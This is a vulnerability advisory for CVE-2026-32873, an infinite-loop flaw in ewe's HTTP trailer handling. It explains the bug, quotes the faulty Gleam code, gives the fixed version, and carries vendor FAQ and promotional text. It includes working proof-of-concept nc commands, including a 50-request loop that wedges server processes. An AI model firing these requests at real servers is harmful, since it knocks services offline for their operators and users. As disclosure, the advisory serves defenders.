Summary
Loop with Unreachable Exit Condition ('Infinite Loop') in ewe
ewe's handle_trailers function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.
Proof of Concept
Send a chunked request with a forbidden trailer (host) to trigger the infinite loop:
printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 3 localhost 8080
This will hang (no response) until the nc timeout. The server-side handler process is stuck forever.
Exhaust server resources with concurrent requests:
for i in $(seq 1 50); do
printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 1 localhost 8080 &
done
Open the Erlang Observer (observer:start()) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.
Vulnerable Code
All three False/Error branches in handle_trailers have the same bug:
// ewe/internal/http1.gleam, lines 493–531
fn handle_trailers(
req: Request(BitArray),
set: Set(String),
rest: Buffer,
) -> Request(BitArray) {
case decoder.decode_packet(HttphBin, rest) {
Ok(Packet(HttpEoh, _)) -> req
Ok(Packet(HttpHeader(idx, field, value), header_rest)) -> {
// ... field name parsing ...
case field_name {
Ok(field_name) -> {
case
set.contains(set, field_name) && !is_forbidden_trailer(field_name)
{
True -> {
case bit_array.to_string(value) {
Ok(value) -> {
request.set_header(req, field_name, value)
|> handle_trailers(set, Buffer(header_rest, 0)) // correct
}
Error(Nil) -> handle_trailers(req, set, rest) // BUG: line 520
}
}
False -> handle_trailers(req, set, rest) // BUG: line 523
}
}
Error(Nil) -> handle_trailers(req, set, rest) // BUG: line 526
}
}
_ -> req
}
}
Impact
When handle_trailers (ewe/internal/http1.gleam:493) encounters a trailer that is either not in the declared trailer set or is blocked by is_forbidden_trailer, three code paths (lines 520, 523, 526) recurse with the original buffer rest instead of Buffer(header_rest, 0):
// Line 523, uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)
False -> handle_trailers(req, set, rest)
This causes decoder.decode_packet to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.
Any ewe application that calls ewe.read_body on chunked requests is affected. This is exploitable by any unauthenticated remote client. There is no application-level workaround, the infinite loop is triggered inside read_body before control returns to application code.
CVE-2026-32873 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.0.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-32873? CVE-2026-32873 is a high-severity security vulnerability in ewe (erlang), affecting versions >= 0.8.0, < 3.0.5. It is fixed in 3.0.5.
- How severe is CVE-2026-32873? CVE-2026-32873 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of ewe are affected by CVE-2026-32873? ewe (erlang) versions >= 0.8.0, < 3.0.5 is affected.
- Is there a fix for CVE-2026-32873? Yes. CVE-2026-32873 is fixed in 3.0.5. Upgrade to this version or later.
- Is CVE-2026-32873 exploitable, and should I be worried? Whether CVE-2026-32873 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-32873 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-32873? Upgrade
eweto 3.0.5 or later.